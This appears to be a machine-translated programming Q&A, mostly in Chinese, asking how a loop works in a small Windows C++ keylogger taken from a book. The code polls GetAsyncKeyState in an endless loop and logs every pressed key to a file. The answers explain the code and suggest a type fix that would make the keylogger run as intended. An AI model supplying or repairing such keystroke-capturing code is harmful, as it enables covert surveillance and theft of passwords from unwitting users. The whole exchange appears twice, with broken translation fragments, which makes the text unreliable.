这个 'for' 循环与键盘记录器有什么关系?
How is this 'for' loop relevant in the keylogger?
我正在读一本关于编写键盘记录器的书,只是为了好玩;我遇到了这个 'for' 循环,我对它的相关性感到困惑。
#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>
using namespace std;
void log();
int main()
{
log();
return 0;
}
void log()
{
char c;
for(;;)
{
for(c=8;c<=222;c++) // <<=== THIS LOOP HERE
{
if(GetAsyncKeyState(c) == -32767)
{
ofstream write("C:\Users\IEUser\Desktop\text.txt",ios::app);
write<<c;
}
}
}
}
根据我的理解,这意味着 C++ 将设置 c=8,并进行循环,递增直到达到 222,然后停止(但由于父循环,它会再次继续)。书上提到数字8和222表示ASCII码。
但我看不出它如何链接到我的输入!输入不是已经从 GetAsyncKeyState
派生出来了吗?
But it'll continue again anyway because of the parent loop.
没有。内循环不会在外循环的每次迭代中 continue;相反,它将 重新启动 – 每次重新启动时 c
变量都会重置为 8。
因此,在外部 for
循环的每个(可能无限)运行s 上,内部循环 运行s 通过 c
的值8 到 222 并使用这些值中的每一个调用 GetAsyncKeyState()
函数。
注意:从 GetAsyncKeyState
的用法来看,这似乎是为 Windows 上的 运行 而设计的代码。许多(大多数)Windows 兼容的编译器具有 signed 8 位 char
类型,因此使用大于 127 的值可能会导致问题。
MSVC 编译器(Visual Studio 2019)在您的 inner for
循环中给出以下内容:
warning C6295: Ill-defined for-loop: 'char' values are always of range
'-128' to '127'. Loop executes infinitely.
clang-cl编译器(同IDE)给出了类似的信息:
warning : result of comparison of constant 222 with expression of type
'char' is always true [-Wtautological-constant-out-of-range-compare]
将 c
变量更改为 int
将解决此问题 – 毕竟 GetAsyncKeyState
需要一个 int
参数。
for(;;)
无限循环保持运行(监听)
for(c=8;c<=222;c++)
运行 包含从 8 到 222 的值 [8,222]
GetAsyncKeyState(c) == -32767)
Determines whether a key is up or down at the time the function is
called
所以现在您正在针对由 c 表示的 ASCI 进行测试。现在神奇的数字 -32767
是什么意思?
如果我们以二进制形式写入 -32767,它会解析为 1000 0000 0000 0001。如您所见,最高有效位和最低有效位均已设置,因此根据描述,密钥已关闭并且它已自上次调用 GetAsyncKeyState 以来一直被按下。
我正在读一本关于编写键盘记录器的书,只是为了好玩;我遇到了这个 'for' 循环,我对它的相关性感到困惑。
#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>
using namespace std;
void log();
int main()
{
log();
return 0;
}
void log()
{
char c;
for(;;)
{
for(c=8;c<=222;c++) // <<=== THIS LOOP HERE
{
if(GetAsyncKeyState(c) == -32767)
{
ofstream write("C:\Users\IEUser\Desktop\text.txt",ios::app);
write<<c;
}
}
}
}
根据我的理解,这意味着 C++ 将设置 c=8,并进行循环,递增直到达到 222,然后停止(但由于父循环,它会再次继续)。书上提到数字8和222表示ASCII码。
但我看不出它如何链接到我的输入!输入不是已经从 GetAsyncKeyState
派生出来了吗?
But it'll continue again anyway because of the parent loop.
没有。内循环不会在外循环的每次迭代中 continue;相反,它将 重新启动 – 每次重新启动时 c
变量都会重置为 8。
因此,在外部 for
循环的每个(可能无限)运行s 上,内部循环 运行s 通过 c
的值8 到 222 并使用这些值中的每一个调用 GetAsyncKeyState()
函数。
注意:从 GetAsyncKeyState
的用法来看,这似乎是为 Windows 上的 运行 而设计的代码。许多(大多数)Windows 兼容的编译器具有 signed 8 位 char
类型,因此使用大于 127 的值可能会导致问题。
MSVC 编译器(Visual Studio 2019)在您的 inner for
循环中给出以下内容:
warning C6295: Ill-defined for-loop: 'char' values are always of range '-128' to '127'. Loop executes infinitely.
clang-cl编译器(同IDE)给出了类似的信息:
warning : result of comparison of constant 222 with expression of type 'char' is always true [-Wtautological-constant-out-of-range-compare]
将 c
变量更改为 int
将解决此问题 – 毕竟 GetAsyncKeyState
需要一个 int
参数。
for(;;)
无限循环保持运行(监听)
for(c=8;c<=222;c++)
运行 包含从 8 到 222 的值 [8,222]
GetAsyncKeyState(c) == -32767)
Determines whether a key is up or down at the time the function is called
所以现在您正在针对由 c 表示的 ASCI 进行测试。现在神奇的数字 -32767
是什么意思?
如果我们以二进制形式写入 -32767,它会解析为 1000 0000 0000 0001。如您所见,最高有效位和最低有效位均已设置,因此根据描述,密钥已关闭并且它已自上次调用 GetAsyncKeyState 以来一直被按下。